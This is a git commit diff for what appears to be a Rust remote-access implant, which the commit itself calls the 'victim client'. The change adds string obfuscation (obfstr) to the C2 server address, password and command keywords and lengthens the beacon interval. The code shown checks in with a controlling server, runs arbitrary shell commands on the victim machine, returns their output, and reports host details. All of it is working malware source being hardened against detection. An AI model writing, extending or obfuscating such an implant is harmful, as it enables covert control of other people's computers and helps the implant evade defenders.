added string obfusation to the victim client.
This commit is contained in:
@@ -585,6 +585,7 @@ impl AppState {
|
||||
cert_text: String::new(),
|
||||
};
|
||||
self.servers.push(Arc::new(Mutex::new(new_server)));
|
||||
self.save_all()?;
|
||||
self.prompt.reset();
|
||||
}
|
||||
"connect_server" => {
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
use obfstr::{obfstr, obfstring};
|
||||
use rustls::ClientConfig;
|
||||
use rustls::ClientConnection;
|
||||
use rustls::RootCertStore;
|
||||
@@ -122,16 +123,16 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
.with_root_certificates(roots)
|
||||
.with_no_client_auth();
|
||||
let mut server = Server {
|
||||
address: "|||SERVER|||".to_string(),
|
||||
address: obfstring!("|||SERVER|||"),
|
||||
connected: false,
|
||||
timer: Duration::from_secs(1),
|
||||
timer: Duration::from_secs(90),
|
||||
last_check: Instant::now(),
|
||||
config: Arc::new(client_config),
|
||||
message_que: Vec::new(),
|
||||
action_que: Vec::new(),
|
||||
client_id: 0,
|
||||
client_name: "Victim1".to_string(),
|
||||
password: "|||PASSWORD|||".to_string(),
|
||||
client_name: obfstring!("Victim1"),
|
||||
password: obfstring!("|||PASSWORD|||"),
|
||||
logged_in: false,
|
||||
};
|
||||
let system = System::host_name();
|
||||
@@ -149,9 +150,8 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
server.checkin();
|
||||
if !server.action_que.is_empty() {
|
||||
for action in server.action_que.clone() {
|
||||
if let Some((action, data)) = action.split_once("|") {
|
||||
match action.trim() {
|
||||
"CMD" => {
|
||||
if let Some((action, data)) = action.split_once(obfstr!("|")) {
|
||||
if action.trim() == obfstr!("CMD") {
|
||||
let data = data.trim();
|
||||
let cmd;
|
||||
let mut args = Vec::new();
|
||||
@@ -164,49 +164,45 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
} else {
|
||||
cmd = data.trim().to_string();
|
||||
}
|
||||
match cmd.trim() {
|
||||
"set_sleep" => {
|
||||
if cmd.trim() == obfstr!("set_sleep") {
|
||||
if let Ok(secs) = args[0].parse::<u64>() {
|
||||
server.timer = Duration::from_secs(secs);
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Set sleep for {} seconds",
|
||||
secs,
|
||||
));
|
||||
server
|
||||
.message_que
|
||||
.push(
|
||||
format!("OUTPUT|Set sleep for {} seconds", secs,),
|
||||
);
|
||||
} else {
|
||||
server.message_que.push("OUTPUT|Error parsing Seconds count from arguments.".to_string());
|
||||
server.message_que.push(
|
||||
"OUTPUT|Error parsing Seconds count from arguments."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
}
|
||||
"victim_info" => {
|
||||
} else if cmd.trim() == obfstr!("victim_info") {
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Address:{}", server.address));
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Timer:{}",
|
||||
server.timer.as_secs()
|
||||
));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Timer:{}", server.timer.as_secs()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|ID:{}", server.client_id));
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Hostname:{}",
|
||||
server.client_name
|
||||
));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Hostname:{}", server.client_name));
|
||||
let system = System::new_all();
|
||||
|
||||
server.message_que.push(format!(
|
||||
"Available RAM:{}",
|
||||
system.free_memory()
|
||||
));
|
||||
server.message_que.push(format!(
|
||||
"Num CPUs:{}",
|
||||
system.cpus().iter().count()
|
||||
));
|
||||
server.message_que.push(format!(
|
||||
"Total RAM:{}",
|
||||
system.total_memory()
|
||||
));
|
||||
}
|
||||
_ => {
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Available RAM:{}", system.free_memory()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Num CPUs:{}", system.cpus().iter().count()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Total RAM:{}", system.total_memory()));
|
||||
} else {
|
||||
let mut command = Command::new(&cmd);
|
||||
if !args.is_empty() {
|
||||
args.iter().for_each(|a| {
|
||||
@@ -225,9 +221,7 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
));
|
||||
if !result.stderr.is_empty() {
|
||||
let err_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stderr,
|
||||
)
|
||||
String::from_utf8_lossy(&result.stderr)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"errors: {}\n",
|
||||
@@ -236,9 +230,7 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
}
|
||||
if !result.stdout.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stdout,
|
||||
)
|
||||
String::from_utf8_lossy(&result.stdout)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"std_out: {}\n",
|
||||
@@ -246,15 +238,10 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
));
|
||||
}
|
||||
} else {
|
||||
out.push_str(&format!(
|
||||
"{} failed.\n",
|
||||
cmd
|
||||
));
|
||||
out.push_str(&format!("{} failed.\n", cmd));
|
||||
if !result.stderr.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stderr,
|
||||
)
|
||||
String::from_utf8_lossy(&result.stderr)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"Errors: {}",
|
||||
@@ -274,13 +261,9 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
handles.insert(handle_id, Some(handle));
|
||||
handle_id += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
"DISCONNECT" => {
|
||||
} else if action.trim() == obfstr!("DISCONNECT") {
|
||||
stop = true;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user